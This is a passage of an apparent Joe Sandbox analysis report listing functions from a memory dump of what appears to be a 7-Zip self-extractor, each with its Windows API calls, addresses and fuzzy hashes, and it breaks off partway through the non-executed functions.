Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764

Function 00404952 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNELBASE(?,?,?,?,?,004068AF,00000000,?,?,?,00000000,?,?), ref: 0040498E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00404997

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@EnvironmentVariable
String ID:
API String ID: 3880889418-0
Opcode ID: f899844df334fa484cc3d15b82790f2c382d52c79a2c3a6cc3fb3bd9e8382a87
Instruction ID: 45721f2f61f3a03145150eac3bdacb786a061e167d978f15f422af1a49713dfd
Opcode Fuzzy Hash: f899844df334fa484cc3d15b82790f2c382d52c79a2c3a6cc3fb3bd9e8382a87
Instruction Fuzzy Hash: 6BF01975900118AFC711EF96ED91CCE7778FB48704710407AFD51A7161DB34D955CB85

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 0040175A Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 00401760
??3@YAXPAX@Z.MSVCRT(?), ref: 00401776

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: b075649f231de9eb948ae6cc86e6b3af4d7c96d89014706d31f654389e5865e8
Instruction ID: 727f3f96c1ea9d64df56d7fdf8b054f85097dd798dff9fcd5129ed1c701011a3
Opcode Fuzzy Hash: b075649f231de9eb948ae6cc86e6b3af4d7c96d89014706d31f654389e5865e8
Instruction Fuzzy Hash: 14E04F366056109FC6249FA2D814D96B3A8EF0972130549AEE8459BA60CB34EC418B84

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 00412276

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 004013A4

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00000000,?,?,?,?,?,?,00401AD3,?), ref: 004015F7

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060), ref: 00412927

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
Opcode Fuzzy Hash: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E

Function 0041229A Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00004B38), ref: 00412245

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
